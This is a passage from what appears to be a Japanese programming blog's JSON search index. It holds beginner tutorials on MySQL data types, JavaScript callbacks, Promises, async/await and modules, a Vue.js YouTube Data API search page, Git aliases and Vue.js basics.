」となり、指定された長さになるように足らない分スペースで埋められる。\nTEXT 長尾文字列を格納する場合は、TEXT型を使用する。\n日時型 DATE 日付のみを扱う場合に使う。\nフォーマット形式は、「年-月-日」となる。\n例：\u0026lsquo;2019-09-01\u0026rsquo;\nDATETIME 日付と時間を扱う場合に使う。\nフォーマット形式は、「年-月-日 時:分:秒」\n例：\u0026lsquo;2019-09-01 01:15:09\u0026rsquo;\nTIMESTAMP タイムスタンプをしたい時に使う。\nレコードが更新された時に、変更した時の日時が自動的に登録される。\n","permalink":"https://pop-web.github.io/programming/db/mysql-datatype/","summary":"\u003cp\u003eMySQLのデータ型には、まぁたくさんある。\u003c/p\u003e\n\u003cp\u003eなので、MySQLで\u003cstrong\u003eよく使われるデータ型\u003c/strong\u003eを一覧でまとめる。\u003c/p\u003e\n\u003ch1 id=\"数値型\"\u003e数値型\u003c/h1\u003e\n\u003ch2 id=\"int\"\u003eINT\u003c/h2\u003e\n\u003cp\u003e数値型で整数を扱う場合によく使う。\u003c/p\u003e\n\u003cp\u003e格納範囲は、-2147483648 〜 2147483647となる。\u003c/p\u003e","title":"MySQLのよく使われるデータ型の種類のまとめ"},{"content":"前回記事のPromiseについて解説の続きで、今回はasync/awaitについて解説していく。\nasync/awaitを使うことで、前回に解説したPromiseの処理を同期的な記述で簡潔に書けるようになる。\nasyncとawaitと使う Promiseインスタンスを返してくれるgetHello( )がある。前回のPromiseではこの関数にthenメソッドを繋いであげれば、非同期処理後の処理の記述ができた。\nまず、このthenメソッドを同じ役割をしてくれるのがawaitである。\nawait getHello( )とすることでgetHello( )の非同期処理が終わるまで、その後に記述される処理を実行せずに待ってくれる。\n非同期処理が完了すれば、hello = await getHello('Start!')としているので、Promiseでラップされた値が取り出され変数helloに代入される。\n非同期処理が完了後、この後に記述される処理が順次実行されるという流れになる。\nawaitを内部で使っている関数には、先頭にasyncをつけるルールになっているので忘れずにつけておく。\nfunction getHello(msg) { return new Promise((resolve, reject) =\u0026gt; { setTimeout(() =\u0026gt; { console.log(msg) resolve(\u0026#34;Hello,World!\u0026#34;) }, 2000) }) } async function func() { let hello hello = await getHello(\u0026#39;Start!\u0026#39;) console.log(hello) hello = await getHello(\u0026#39;Start!\u0026#39;) console.log(hello) } func() 上記のコード実行すると、2秒後ごとにコンソールへ文字が表示されることになる。\n例外処理の方法 async/awaitの場合、try/catchブロックで例外処理を行う。\nfunction getHello(msg) { return new Promise((resolve, reject) =\u0026gt; { setTimeout(() =\u0026gt; { console.log(msg) resolve(\u0026#34;Hello,World!\u0026#34;) }, 2000) }) } async function func() { let hello try { hello = await getHello(\u0026#34;Start!\u0026#34;) console.log(hello) } catch (e) { throw new Error(\u0026#34;Error!\u0026#34;, e) } return hello } func().then(()=\u0026gt;{ console.log(\u0026#39;ttt\u0026#39;) }) また、留意しておきたい点として、asyncの中でreturnされた値はPromiseでラップされた状態で返却されるということ。\n上のコードでconsole.log(func())で確認すると、Promiseインスタンスが返ってきていることがわかる。\nconsole.log(func()) // Promiseインスタンスが返ってきていることを確認 このように、thenメソッドを使っていた時より、分かりやすく非同期処理を書けるようになる。\nasync/awaitをつかうと、あたかも非同期処理を同期的に記述できるのがメリットである。\n","permalink":"https://pop-web.github.io/programming/javascript/async-await/","summary":"\u003cp\u003e前回記事の\u003ca href=\"https://blog.popweb.dev/programming/javascript/js-promise/\"\u003ePromiseについて解説\u003c/a\u003eの続きで、今回はasync/awaitについて解説していく。\u003c/p\u003e\n\u003cp\u003easync/awaitを使うことで、前回に解説したPromiseの処理を同期的な記述で簡潔に書けるようになる。\u003c/p\u003e\n\u003ch2 id=\"asyncとawaitと使う\"\u003easyncとawaitと使う\u003c/h2\u003e\n\u003cp\u003ePromiseインスタンスを返してくれるgetHello( )がある。前回のPromiseではこの関数にthenメソッドを繋いであげれば、非同期処理後の処理の記述ができた。\u003c/p\u003e","title":"【JS初心者向け】async/awaitのついて解説"},{"content":"前回の「コールバック関数について解説」の続き。\n非同期処理の際にコールバック関数を使うのは有効であるが、コールバック地獄に陥りやすいデメリットがある。\nコールバック地獄対策として非同期処理を簡潔に書けるようにしたのが、Promiseである。\nPromiseについて Promiseについて簡単にいうと、非同期処理の処理状態を示してくれるやつだ。\n非同期処理においてポイントなることは、非同期処理が終わった後のタイミングで、違う処理を処理をしたいということ。\nそうなると、非同期処理の状態が完了しているのか？まだ終わってなのか？が知る必要がある。\nそこで、Promiseの登場。\nPromiseの引数に非同期処理を入れてやり、その戻り値を取得することでで状態を判別できる。\nPromiseの使い方 Promiseの使い方は、return new Promise( )の引数としてコールバック関数を入れる。\nこのコールバック関数に、非同期処理の内容を記述する。\n以下の例では、setTimeout( )関数を使って非同期処理を記述した。\nfunction getHello(msg) { return new Promise((resolve, reject) =\u0026gt; { setTimeout(() =\u0026gt; { console.log(msg) resolve(\u0026#34;Hello,World!\u0026#34;) }, 2000) }) } getHello(\u0026#39;Start!\u0026#39;).then(msg =\u0026gt; { return getHello(msg) }) まず、関数であるgetHello( )を実行すると戻り値（return）としてPromiseクラスのインスタンスが返ってくる。\nこのPromiseインスタンスに、非同期処理の処理状態の情報が入っている。\nconsole.log(getHello( ))で確認すると、確かにPromiseが返ってきていることがわかる。\nconsole.log(getHello()) // Promiseインスタンスが返ってきていることを確認 Promiseのコールバック関数の第一引数としてresolve、第二引数としてrejectを設定することができ、処理が成功した時はresolve、失敗した時はrejectが呼び出される。\nコールバック関数の処理の最後にresolve又は、rejectメソッドを呼び出すことで処理の終了を明示的に表す。\n次に、Promiseクラスのインスタンスはthenメソッドを持っており、引数にコールバック関数を入れてあげる。\nthenメソッドの第一引数には、resolve又は、rejectメソッドで渡された値が入る。\nつまり、Promiseで処理した後の値をthenメソッドに渡して処理をさせるということができる。\nまた、thenメソッドの中でreturnで再度Promiseインスタンスを返すことで、非同期処理を実行することができる。\n上のコードでは、resolveメソッドで処理が終了して、thenメソッドで渡された値が処理されるという流れになり、2秒後に「Start!」、またその2秒後に「Hello,World!」と表示される。\nポイントとしては、thenメソッドで値をPromiseインスタンスをreturnさせると、また次のthenメソッドのコールバック関数の第一引数として受け取ることができる。\n上で使ったコードを書き直す。\n以下、getByebye( )という関数を追加して、thenメソッドを以下の方に追加して繋げる。\nfunction getHello(msg) { return new Promise((resolve, reject) =\u0026gt; { setTimeout(() =\u0026gt; { console.log(msg) resolve(\u0026#34;Hello,World!\u0026#34;) }, 2000) }) } function getByebye() { return new Promise((resolve, reject) =\u0026gt; { setTimeout(() =\u0026gt; { resolve(\u0026#34;Bye!Bye!\u0026#34;) }, 3000) }) } getHello(\u0026#39;Start!\u0026#39;).then(msg =\u0026gt; { return getHello(msg) }).then(() =\u0026gt; { return getByebye() }).then(msg =\u0026gt; { console.log(msg) }) このコードを実行すると、2秒後に「Start!」、またその2秒後に「Hello,World!」と表示され、さらにその3秒後に「Bye!Bye!」と表示される。\n以下のように、thenメソッドの引数としてgetByebyeをそのまま渡してあげても同じになる。\ngetHello(\u0026#39;Start!\u0026#39;).then(msg =\u0026gt; { return getHello(msg) }).then(getByebye) .then(msg =\u0026gt; { console.log(msg) }) エラー処理のrejectについて Promiseの第二引数であるrejectはエラー処理を扱うもので、値をcatchメソッドで受け取る。\nさっきほどのgetHello関数のresolveで返却していたところをrejectに変更する。\nfunction getHello(msg) { return new Promise((resolve, reject) =\u0026gt; { setTimeout(() =\u0026gt; { console.log(msg) reject(\u0026#34;Error!\u0026#34;) }, 2000) }) } function getByebye() { return new Promise((resolve, reject) =\u0026gt; { setTimeout(() =\u0026gt; { resolve(\u0026#34;Bye!Bye!\u0026#34;) }, 3000) }) } getHello(\u0026#39;Start!\u0026#39;).then(msg =\u0026gt; { return getHello(msg) }).then(() =\u0026gt; { return getByebye() }).then(msg =\u0026gt; { console.log(msg) }).catch(error =\u0026gt; { console.log(error) }) これを実行すると、getHello関数以降の処理が飛ばされて、「Error!」という表示される。\nPromise.allで配列で処理 Promise.allメッドを使うことで関数を配列として渡し、並列処理することができる。\n以下のよう、返却される値はresolveの値が配列として返ってくる。\nfunction getHello(msg) { return new Promise((resolve, reject) =\u0026gt; { setTimeout(() =\u0026gt; { console.log(msg) resolve(\u0026#34;Hello,World!\u0026#34;) }, 2000) }) } function getByebye() { return new Promise((resolve, reject) =\u0026gt; { setTimeout(() =\u0026gt; { resolve(\u0026#34;Bye!Bye!\u0026#34;) }, 5000) }) } Promise.all([ getHello(\u0026#39;Start!\u0026#39;), getByebye() ]) .then((msgs) =\u0026gt; { console.log(msgs) }) 上記のコードを実行すると、2秒と5秒で秒数は異なるが、すべてが完了するまでthenメソッドは実行されない。\n以下のように、5秒後にresolveの値がすべて入った配列が返される。\n省略して書くことも可能 Promiseの以下のコードは省略して書くことも可能。\nfunction getHello() { return new Promise((resolve, reject) =\u0026gt; { resolve(\u0026#34;Hello,World!\u0026#34;) }) } 省略形は以下のよう。\nfunction getHello() { return Promise.resolve(\u0026#34;Hello,World!\u0026#34;) } 次の記事では、Promiseを同期処理ように書くことができるasync/awaitについて解説していく。\nasync/awaitについては下記↓\nhttps://blog.popweb.dev/programming/javascript/async-await/\n","permalink":"https://pop-web.github.io/programming/javascript/js-promise/","summary":"\u003cp\u003e前回の\u003ca href=\"https://blog.popweb.dev/programming/javascript/js-callback/\"\u003e「コールバック関数について解説」\u003c/a\u003eの続き。\u003c/p\u003e\n\u003cp\u003e非同期処理の際にコールバック関数を使うのは有効であるが、コールバック地獄に陥りやすいデメリットがある。\u003c/p\u003e\n\u003cp\u003eコールバック地獄対策として非同期処理を簡潔に書けるようにしたのが、\u003cstrong\u003ePromise\u003c/strong\u003eである。\u003c/p\u003e","title":"【JS初心者向け】Promiseについて解説"},{"content":"JavaScriptをやっていて、「async/await」ってなんやって思って、ググったら「Promise」の進化版ってことらしい。\n今度は「Promise」をググったら、コールバック関数の概念が必要ってことが分かった。\nとういうことで、コールバック関数とコールバック関数の必要性について説明する。\nコールバック関数について コールバック関数とは、「引数として渡される関数」こと。\nそして、渡された先で関数を実行処理する。\n「あの処理が終わったタイミングで、この関数を実行したい」といった場面で使われる。\nまず、setTimeout関数を使って簡単にコールバック関数について説明する。\n以下のように、setTimeoutという関数の引数として関数を渡して、setTimeout内で実行させている。\nsetTimeout(() =\u0026gt; { console.log(\u0026#39;Hello,world!\u0026#39;) }, 1000); ここで、コールバック関数は、「() =\u0026gt; { console.log(\u0026lsquo;Hello,world!\u0026rsquo;)}」。\nコールバック関数を受け取る側の関数は、setTimeout()ということになり、この**「コールバック関数を受け取る側の関数」は、「高階関数」**と呼ばれる。\nJavaScriptでは「関数」も「値」 関数の引数へ、違う関数を渡すことができると説明した。\nこれはJavaScriptでは、関数を値として扱うことができるからだ。\nどういうことかというと、関数を変数に入れることができるということ。\n関数を変数に入れるには、関数名の後ろにカッコをつけない。\n以下のよう。\nfunction hello(){ console.log(\u0026#39;Hello,world!\u0026#39;) } // 関数を変数へ代入するときは、カッコをつけない const helloFunc = hello // 関数を呼び出す場合はカッコをつける helloFunc() // Hello,world!とコンソールに表示 hello() // Hello,world!とコンソールに表示 関数に関数を渡して実行することで順序を制御 関数は値なので、関数の引数へ渡すことができる。\nそして、引数で渡した関数を渡した関数の中で実行ができる。\nさっきのコードにbye()とう関数を追加して、それをhello()関数の引数として渡す。\nそして、渡した関数を渡された関数の中で実行する。\nfunction hello(func){ console.log(\u0026#39;Hello,world!\u0026#39;) func() } function bye(){ console.log(\u0026#39;Bye!Bye!\u0026#39;) } hello(bye) // 表示結果 // Hello,world! // Bye!Bye! みてわかる通り、hello()関数の内容が実行された後からではないと、bye()関数が処理されないようになっており、実行順序を制御している。\nこのように、「あの関数処理の後に、この関数を実行する」といった処理にしたいときに使うのがコールバックだ。\nこの場合、bye()がコールバック関数、hello()が高階関数になる。\n前述したように、高階関数はコーバック関数を受け取る側の関数のこと。\nまた、bye()の内容をそのまま、hello()の引数に入れて、以下のように書くこともできる。\nfunction hello(func){ console.log(\u0026#39;Hello,world!\u0026#39;) func() } hello(function(){ console.log(\u0026#39;Bye!Bye!\u0026#39;) }) // 表示結果 // Hello,world! // Bye!Bye! さらに、渡した関数に値を渡して実行もできる。\nfunction hello(func){ console.log(\u0026#39;Hello,world!\u0026#39;) func(\u0026#39;Bye!Bye!\u0026#39;) } hello(function(msg){ console.log(msg) }) // 表示結果 // Hello,world! // Bye!Bye! ちなみに、この場合だとfunction(msg)がコールバック関数、hello()が高階関数になる。\nコールバック関数の必要性と使い所について JavaScriptでコールバック関数の使い所はというと、「非同期処理」と組み合わせて使われる。\nまず、JavaScriptは非同期処理を前提として設計されたスクリプトであることを理解しておく。\n非同期処理では、実行順序がコードの通りにならない場合がある。\n例えば、APIを呼び出してそのデータを扱いたい場合、APIから渡してもらうデータを全て読み込んだ後に処理を実行しなければ、データを扱うことはできなくなる。\nつまり、実行順序を制御する必要がある。\nそのため、コールバック関数で制御処理するという方法が用いられる。\n次で例を出す。\nコールバック関数と非同期処理の組み合わせ例 非同期処理をする関数であるsetTimeoutを使って、コールバック関数と非同期処理の組み合わせ例と出す。\nまずは、コールバック関数なしだとうまくいかない例を出す。\nうまくいかない例（コールバック関数なし） function getHello(){ setTimeout(function(){ return \u0026#39;Hello,World!\u0026#39; },2000) } const hello = getHello() console.log(hello) // undefinedになってしまう これの例だと、getHello()の中の処理が、2秒後にしか実行されないので、console.log(hello)は、undefinedになる。\nうまくいく例（コールバック関数あり） 先ほどのうまくいかない例に、コールバック関数をつかって書き直す。\nfunction getHello(callback){ setTimeout(function(){ callback(\u0026#39;Hello,World!\u0026#39;) },2000) } getHello(function(msg){ console.log(msg) }) まず、function(msg){console.log(msg)}というコールバック関数を作成して、getHello関数の引数として渡してあげる。\nそして、setTimeoutの中でコールバック関数を実行させてあげることで、2秒後に「Hello,World!」と表示されるようになる。\nつまり、非同期処理をする関数でも、コールバック関数を使えば、実行順序を思い通りに実行することが可能になる。\nしかし、コールバック関数の処理が増えていくと、見た目の構造がどんどん複雑化していく傾向にある。\nこの複雑化をコールバック地獄という。\n次に、コールバック地獄とはなにかについて説明する。\nコールバック地獄とは コールバック地獄について、簡単に説明する。\n以下のように、2秒おきにメッセージを上から順番に出したい場合。\nこんにちは、太郎。 やぁ、こんにちは、花子。 いい天気だね。 今日はどこに行こうか。 そうだね。とりあえずスタバに行こう。 これを2秒ごとに出してくとなると以下のようなコードになる。\nfunction func_01(callback) { setTimeout(function () { console.log(\u0026#34;こんにちは、太郎。\u0026#34;); callback(); }, 2000); } function func_02(callback) { setTimeout(function () { console.log(\u0026#34;やぁ、こんにちは、花子。\u0026#34;); callback(); }, 2000); } function func_03(callback) { setTimeout(function () { console.log(\u0026#34;いい天気だね。\u0026#34;); callback(); }, 2000); } function func_04(callback) { setTimeout(function () { console.log(\u0026#34;今日はどこに行こうか。\u0026#34;); callback(); }, 2000); } function func_05() { setTimeout(function () { console.log(\u0026#34;そうだね。とりあえずスタバに行こう。\u0026#34;); }, 2000); } func_01(function () { func_02(function () { func_03(function () { func_04(function () { func_05(); }); }); }); }); 最後の呼び出している関数が入れ子の入れ子の…状態になっている。\nとても分かりにくくする。\nこれを俗に、コールバック地獄という。\nそして、コールバック地獄対策のために登場したのが**「Promise」**で、非同期処理を簡潔に書くことが可能になる。\nPromiseについては下記↓\nhttps://blog.popweb.dev/programming/javascript/js-promise/\n","permalink":"https://pop-web.github.io/programming/javascript/js-callback/","summary":"\u003cp\u003eJavaScriptをやっていて、「async/await」ってなんやって思って、ググったら「Promise」の進化版ってことらしい。\u003c/p\u003e\n\u003cp\u003e今度は「Promise」をググったら、コールバック関数の概念が必要ってことが分かった。\u003c/p\u003e","title":"【JS初心者向け】コールバック関数について解説"},{"content":"JavaScriptのモジュールとは、そのままで部品というイメージ。\nJavaScriptで書いたファイルを部品として、他のファイルに取り込むことで機能を拡張することができるのがメリット。\n実際に、モジュールの使い方を簡単に説明する。\nモジュールバンドラーをインストール まず、モジュールを作成した後にそれを束ねる作業が出てくる。\nそのため、モジュールハンドラーというツールが必要。\nモジュールハンドラーは色々とあるが、今回は人気のwebpackを使う。\n作業環境を作っていく。\nプロジェクトフォルダを作って、webpackをインストールする。\n以下のようにコマンドを実行して初期設定を行う。\n$ mkdir js-module-test $ cd js-module-test $ npm init -y webpackとともにwebpack-cliをインストールする。\nwebpackだけでは、コンマンドから実行できなくなるため。\n$ npm i -D webpack webpack-cli バージョンの確認を一応行う。\n$ npx webpack -v モジュールを作成 簡単なモジュールを作成する。\nplusone.jsという数値を+1だけするJSモジュールを作成。\nfunctionを関数を作成したら、funtionの前に「export」をつける。\nこれで他のファイルからこのモジュールを呼び出す（エクスポート）準備できる。\n$ vim plusone.js export function PlusOne(num){ return num + 1 } メインファイルを作成して、モジュールを取り込む モジュールを取り込む側の、ファイルを作成。\n$ vim index.js モジュールを取り込む（インポート）にはimportを使う。\nimport { PlusOne } from \u0026#39;./plusone\u0026#39; console.log(PlusOne(10)) {}の中に取り込みたい関数名、fromにはファイル名を指定する。拡張子（.js）は必要ない。\n実は、モジュール機能に対応していないブラウザがあるため、これだけではインポートできない。\nwebpackでバンドル（束ねる）する必要がある。\nバンドルする index.jsへwebpackを実行させる。\n$ npx webpack index.js 実行すると、distディレクトリが生成され、その中にmain.jsがある。\nこれを実行する。\n$ node ./dist/main.js すると、「10」に+1された「11」が出力される。\nこれで、index.jsへ、plusoneのモジュールがインポートされたこととなる。\n別名でインポートもできる 取り込む際に、別名「plus_one」にする\nimport { PlusOne as plus_one } from \u0026#39;./plusone\u0026#39; console.log(plus_one(10)) 定数も取り込める 関数以外にも定数でもインポートできる。\n以下のよう。\nエクスポート側 export const Const = \u0026#39;定数\u0026#39; インポート側 import { Const } from \u0026#39;./plusone\u0026#39; export defaultをつかう モジュール側でexportをexport defaultに変更すると、デフォルトでそれがインポートされる。\nデフォルトでインポートされるため、{}で囲う必要がなく、好きな名前をつけることができる。\n以下のよう。\nエクスポート側 export default function PlusOne(num){ return num + 1 } インポート側 import Plus from \u0026#39;./plusone\u0026#39; console.log(Plus(10)) まとめ export defaultを使う場合が多いので、覚えておくこと。\n以上、モジュールについての説明終わり。\n","permalink":"https://pop-web.github.io/programming/javascript/javascript-module/","summary":"\u003cp\u003eJavaScriptのモジュールとは、そのままで部品というイメージ。\u003c/p\u003e\n\u003cp\u003eJavaScriptで書いたファイルを部品として、他のファイルに取り込むことで機能を拡張することができるのがメリット。\u003c/p\u003e","title":"【初心者向け】JavaScriptモジュール使い方（import/export/export default）"},{"content":"YouTubeで検索ワードの結果を取得して、Vue.jsで自分のサイトに表示させる方法を説明する。\n今回は、**「猫　集会」**というキーワード行う。\nAPI キーを取得 APIキーの取得には、Googleアカウントが必要。\nGoogle Developers ConsoleでAPIキーを取得する。\nVueでコード書いていく APIを叩くURLは以下のよう。\nhttps://www.googleapis.com/youtube/v3/search?type=video\u0026amp;part=snippet\u0026amp;q=猫　集会\u0026amp;key={APIキーを入れる} 「猫　集会」の検索結果を一覧表示させる実際のコードは以下。\nまずは、HTML。\nHTML \u0026lt;div id=\u0026#34;app\u0026#34; class=\u0026#34;content\u0026#34;\u0026gt; \u0026lt;h1 class=\u0026#34;h1 mb-4 pl-3 py-2\u0026#34;\u0026gt;猫の集会動画\u0026lt;/h1\u0026gt; \u0026lt;div v-for=\u0026#34;i in info\u0026#34;\u0026gt; \u0026lt;div v-for=\u0026#34;item in i.items\u0026#34; class=\u0026#34;card mb-3 border-danger\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;row no-gutters\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;col-md-4\u0026#34;\u0026gt; \u0026lt;a :href=\u0026#34;\u0026#39;https://www.youtube.com/watch?v=\u0026#39;+ item.id.videoId\u0026#34;\u0026gt; \u0026lt;img :src=\u0026#34;item.snippet.thumbnails.medium.url\u0026#34; class=\u0026#34;card-img\u0026#34; :alt=\u0026#34;item.snippet.title\u0026#34;\u0026gt; \u0026lt;/a\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;col-md-8\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;card-body\u0026#34;\u0026gt; \u0026lt;h5 class=\u0026#34;card-title\u0026#34;\u0026gt;{{item.snippet.title}}\u0026lt;/h5\u0026gt; \u0026lt;p class=\u0026#34;card-text\u0026#34;\u0026gt;{{item.snippet.description}}\u0026lt;/p\u0026gt; \u0026lt;div class=\u0026#34;d-flex justify-content-between\u0026#34;\u0026gt; \u0026lt;p class=\u0026#34;card-text\u0026#34;\u0026gt;\u0026lt;small class=\u0026#34;text-muted\u0026#34;\u0026gt;{{item.snippet.publishedAt}}\u0026lt;/small\u0026gt; \u0026lt;/p\u0026gt; \u0026lt;a :href=\u0026#34;\u0026#39;https://www.youtube.com/watch?v=\u0026#39;+ item.id.videoId\u0026#34; class=\u0026#34;btn btn-danger\u0026#34;\u0026gt;動画を見る\u0026lt;/a\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;ul class=\u0026#34;d-flex justify-content-between mt-5\u0026#34;\u0026gt; \u0026lt;li class=\u0026#34;btn btn-danger rounded-pill\u0026#34; v-on:click=\u0026#34;nextpage(info.data.prevPageToken)\u0026#34;\u0026gt;前へ\u0026lt;/li\u0026gt; \u0026lt;li class=\u0026#34;btn btn-danger rounded-pill\u0026#34; v-on:click=\u0026#34;nextpage(info.data.nextPageToken)\u0026#34;\u0026gt;次へ\u0026lt;/li\u0026gt; \u0026lt;/ul\u0026gt; \u0026lt;/div\u0026gt; 表示数はデフォルトでは５個の動画。\nこれだと検索結果のすべての動画を閲覧することができないため、ページ送り（前へ・次へ）を実装している。\nまず、最初の一覧を取得するためのAPIを叩くと、5つの動画を取得できる。\n同時に、PrevPageTokeとnextPageTokenというプロパティも取得できる。これは他のページを表示させるためのパラメータとなる。\nこれをVue.js側に渡してあげて、再度APIのURLを生成しリンクを設置。\nVue.jsでの処理は以下。\nJavaScript(Vue.js) \u0026lt;script\u0026gt; new Vue({ el: \u0026#39;#app\u0026#39;, data() { return { info: null, api:\u0026#39;https://www.googleapis.com/youtube/v3/search\u0026#39;, params:{ type: \u0026#39;video\u0026#39;, part: \u0026#39;snippet\u0026#39;, q: \u0026#39;猫　集会\u0026#39;, order: \u0026#39;date\u0026#39;, pageToken:\u0026#39;\u0026#39;, key: \u0026#39;{APIキーを入れる}\u0026#39; } } }, created(){ const params = this.params axios.get(this.api, { params }) .then(response =\u0026gt; { this.info = response }) }, methods:{ nextpage:function(token){ this.params.pageToken = token const params = this.params axios.get(this.api, { params }) .then(response =\u0026gt; { this.info = response }) } } }) \u0026lt;/script\u0026gt; これを、ブラウザで確認する\nブラウザで動作確認 ちゃんと表示されたらOK。\n","permalink":"https://pop-web.github.io/programming/vue-js/vue-youtube-data-api/","summary":"\u003cp\u003eYouTubeで検索ワードの結果を取得して、Vue.jsで自分のサイトに表示させる方法を説明する。\u003c/p\u003e\n\u003cp\u003e今回は、**「猫　集会」**というキーワード行う。\u003c/p\u003e","title":"【Vue】YouTube Data APIで検索結果一覧表示しpageTokenでページ送りする"},{"content":"よく使うGitコマンドにエイリアス（別名）設定をする方法を説明します。\n例えば以下のようにコマンドを短縮したい場合\ngit status →　git st 以下の、コマンドでエイリアスを設定します。\ngit config --global alias.st status そうすると、git stと入力するとgit statusと同じ動作になります。\nその他のコマンドについても、以下のような感じです。\ngit config --global alias.ci commit git config --global alias.add ad git config --global alias.br branch git config --global alias.co checkout こんな感じで、コマンドの入力を短縮して楽にしていきましょう。\n","permalink":"https://pop-web.github.io/programming/git/git-alias/","summary":"\u003cp\u003eよく使うGitコマンドにエイリアス（別名）設定をする方法を説明します。\u003c/p\u003e\n\u003cp\u003e例えば以下のようにコマンドを短縮したい場合\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003egit status →　git st\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e以下の、コマンドでエイリアスを設定します。\u003c/p\u003e","title":"よく使うGitコマンドにエイリアス設定方法"},{"content":"Vue.jsの基本機能をまとめて説明。\ndataオプション dataオプションは、その名の通りデータを扱うオプション。\n定義したデータは、テンプレート側（HTML）でマスタッシュ構文で展開することができる。\nオブジェクトや配列も定義できる。\n\u0026lt;div id=\u0026#34;app\u0026#34;\u0026gt; \u0026lt;p\u0026gt;{{message}}\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;{{foods.apple}}\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;{{drink[1]}}\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script src=\u0026#34;https://cdn.jsdelivr.net/npm/vue/dist/vue.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script\u0026gt; new Vue({ el: \u0026#39;#app\u0026#39;, data: { message: \u0026#39;Hello,World\u0026#39;, foods: { tomato: 100, apple: 300, banana: 250 }, drink: [\u0026#39;Water\u0026#39;, \u0026#39;Coffee\u0026#39;, \u0026#39;Milk\u0026#39;] } }) \u0026lt;/script\u0026gt; v-bind：属性データバインディング HTMLタグの属性バインディングには、属性の前に「v-bind:」を付与する。\n\u0026lt;div id=\u0026#34;app\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34; v-bind:value=\u0026#34;message\u0026#34;\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script src=\u0026#34;https://cdn.jsdelivr.net/npm/vue/dist/vue.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script\u0026gt; new Vue({ el: \u0026#39;#app\u0026#39;, data: { message: \u0026#39;Hello,World\u0026#39;, } }) \u0026lt;/script\u0026gt; v-if：条件分岐 条件分岐をするときは、v-ifを使用する。\n以下ように、displayプロパティをfalseにすると非表示に、trueにすると表示になる。\nv-ifで表示・非表示する場合、CSS操作ではなく、DOMレベルで展開と削除がされる。\n\u0026lt;div id=\u0026#34;app\u0026#34;\u0026gt; \u0026lt;p v-if=\u0026#34;display\u0026#34;\u0026gt; Hello,World \u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script src=\u0026#34;https://cdn.jsdelivr.net/npm/vue/dist/vue.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script\u0026gt; new Vue({ el: \u0026#39;#app\u0026#39;, data: { display: false, } }) \u0026lt;/script\u0026gt; v-show：条件分岐 v-ifとは違い、表示・非表示をCSSのdisplayプロパティを操作して実現する。\n\u0026lt;div id=\u0026#34;app\u0026#34;\u0026gt; \u0026lt;p v-show=\u0026#34;display\u0026#34;\u0026gt; Hello,World \u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script src=\u0026#34;https://cdn.jsdelivr.net/npm/vue/dist/vue.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script\u0026gt; new Vue({ el: \u0026#39;#app\u0026#39;, data: { display: false, } }) \u0026lt;/script\u0026gt; v-for：繰り返し処理 v-forは、繰り返し処理ができる。\ndataオプションに定義したオブジェクトや配列を表示できる。\n\u0026lt;div id=\u0026#34;app\u0026#34;\u0026gt; \u0026lt;ul\u0026gt; \u0026lt;li v-for=\u0026#34;(drink,index) in drinks\u0026#34;\u0026gt; {{ index }}：{{ drink }} \u0026lt;/li\u0026gt; \u0026lt;/ul\u0026gt; \u0026lt;ol\u0026gt; \u0026lt;li v-for=\u0026#34;(price,food) in foods\u0026#34;\u0026gt; {{ food }}:{{price}} \u0026lt;/li\u0026gt; \u0026lt;/ol\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script src=\u0026#34;https://cdn.jsdelivr.net/npm/vue/dist/vue.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script\u0026gt; new Vue({ el: \u0026#39;#app\u0026#39;, data: { drinks:[\u0026#39;Water\u0026#39;,\u0026#39;Coffee\u0026#39;,\u0026#39;Milk\u0026#39;], foods: { tomato: 100, apple: 300, banana: 250 } } }) \u0026lt;/script\u0026gt; v-on：イベント v-onはイベント処理を設定できる。\n以下は、ボタンを押すと表示される処理。\n\u0026lt;div id=\u0026#34;app\u0026#34;\u0026gt; \u0026lt;button v-on:click=\u0026#34;action\u0026#34;\u0026gt; 表示する！ \u0026lt;/button\u0026gt; \u0026lt;p v-if=\u0026#34;display\u0026#34;\u0026gt; 表示されました！ \u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script src=\u0026#34;https://cdn.jsdelivr.net/npm/vue/dist/vue.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script\u0026gt; new Vue({ el: \u0026#39;#app\u0026#39;, data: { display: false }, methods:{ action:function(){ this.display = !this.display } } }) \u0026lt;/script\u0026gt; v-model：双方向データバインディング v-medelでは、dataオプションで定義した値とテンプレートで展開した値が、双方向に値が変更される。\n\u0026lt;div id=\u0026#34;app\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34; v-model=\u0026#34;message\u0026#34;\u0026gt; \u0026lt;p\u0026gt; {{message}} \u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script src=\u0026#34;https://cdn.jsdelivr.net/npm/vue/dist/vue.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script\u0026gt; new Vue({ el: \u0026#39;#app\u0026#39;, data: { message: \u0026#39;Hello,World\u0026#39; } }) \u0026lt;/script\u0026gt; まとめ 